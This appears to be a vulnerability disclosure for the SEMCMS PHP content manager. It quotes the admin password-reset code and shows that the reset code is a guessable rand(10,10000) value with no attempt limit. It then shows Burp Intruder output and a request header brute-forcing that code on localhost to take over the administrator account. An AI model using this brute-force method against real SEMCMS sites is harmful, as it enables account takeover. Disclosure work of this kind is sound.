

master

...

vul / SEMCMS / back_password_reset.md

cve-vul Update back_password_reset.md

History

1 contributor

18 lines (14 sloc) 865 Bytes

...

Background administrator password reset vulnerability

vuln in /include/web_check.php

```
elseif ($Type=="findok"){ // 密码找回

    $umail=test_input(verify_str($_POST['Email']));
    $ummm=test_input(verify_str($_POST['umima']));
    $urzm=test_input(verify_str($_POST['uyzm']));
    $fhurl=str_replace("SEMCMS_Remail.php","",$_POST['furl']);

    if(empty($umail) || empty($ummm) || empty($urzm)){

        echo'<script language="javascript">alert("请输入密码与认证码! ");history.go(-1);</script>';

    }else{

        $query=$db_conn->query("select * from sc_user where user_email='".$umail."' and user_rzm='".$urzm."'");

        if (mysqli_num_rows($query)>0) {

            $db_conn->query("UPDATE sc_user SET user_ps=md5($ummm) WHERE user_email='".$umail."' and user_rzm='".$urzm."'");

            echo'<script language="javascript">alert("操作成功返回登陆! ");location.href="'.$fhurl.'";</script>';

        }else{

            echo'<script language="javascript">alert("邮箱或者验证码错误");location.href="'.$fhurl.'";</script>';

        }

    }

}
```

In line 54 of the file, three variables are Judge whether it is empty; test_input and verify_str are keywords to detect whether the string has SQL and XSS. Let's ignore it here.

In line 60 of the file

```
$query=$db_conn->query("select * from sc_user where user_email='".$umail."' and user_rzm='".$urzm."'");
```

The validity of \$umail and \$urzm is verified by database queries. Moreover, \$urzm is generated by the random number Rand (10,10000).

```
13 if ($postEmail!=""){ // 判断是否输入邮箱
14
15 $result=$db_conn->query("select * from sc_user where user_email='".$postEmail."'");
16 $row = mysqli_fetch_array($result,MYSQL_ASSOC);
17
18 if (mysqli_num_rows($result)>0){
19
20     $fjs=rand(10,10000); //邮件认证码
21     $fhurl=str_replace("SEMCMS_Remail.php","",$_POST['furl']);
22     $smtpuseremail=$smtpemailto;
23     $smtpptoeamil=$postEmail;
24     $mailto="来自:".$SERVER['SERVER_NAME']. "密码找回邮件! ";
25     $mailcontent="网站管理员你好: <br>你的邮箱是: ".$postEmail."<br> 点击<a href='".$fhurl."&umail=".$postEmail."&type=ok" target='_blank'>找回密码</a>
26     " 或者复制以下链接到浏览器浏览 <br>"
27     " '".$fhurl."&umail=".$postEmail."&type=ok <br>认证码: ".$fjs."<br>请妥善保管! ";
28
29     $db_conn->query("UPDATE sc_user SET user_rzm='".$fjs.'" WHERE user_email='".$postEmail."'");
30
31 // 邮件发送
32
33 echo SendEmail($smtpserver,$smtpuser,$smtppass,$smtpuseremail,$smtpserverport,$smtpptoeamil,$mailto,$mailcontent);
34 echo'<script language="javascript">alert("已发送到你的'.$postEmail.'邮箱! ");location.href="'.$fhurl.'";</script>';
35
36 }else{
37
38     echo'<script language="javascript">alert("此邮箱不存在! ");history.go(-1);</script>';
39
40 }
41
42 }else{
43
44     echo'<script language="javascript">alert("请输入正确的邮箱! ");history.go(-1);</script>';
45
46 }
```

And updated to the database in line 29

U

100

过滤

ID	user_name	user_admin	user_ps	user_tel	user_qx	user_time	user_email	user_rzm
3	总账号	Admin	123	1380000001	74,76,77,87,88,11	2017-11-23 06:39:42	1976604307@qq.com	6755

Intruder attack 3

Attack Save Columns

ResultsTargetPositionsPayloadsOptions

Filter: Showing all items

Request	Payload	Status	Error	Timeout	Length	Comment
6635	6755	200	<input type="checkbox"/>	<input type="checkbox"/>	424	
0		200	<input type="checkbox"/>	<input type="checkbox"/>	448	baseline request
1	11	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
2	12	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
3	13	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
4	14	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
5	15	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
6	16	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
7	17	200	<input type="checkbox"/>	<input type="checkbox"/>	448	
8	18	200	<input type="checkbox"/>	<input type="checkbox"/>	448	

RequestResponse

RawParamsHeadersHex

POST /Include/web_check.php?type=findok HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0

Finally, the verification code is obtained by direct blasting with burp tool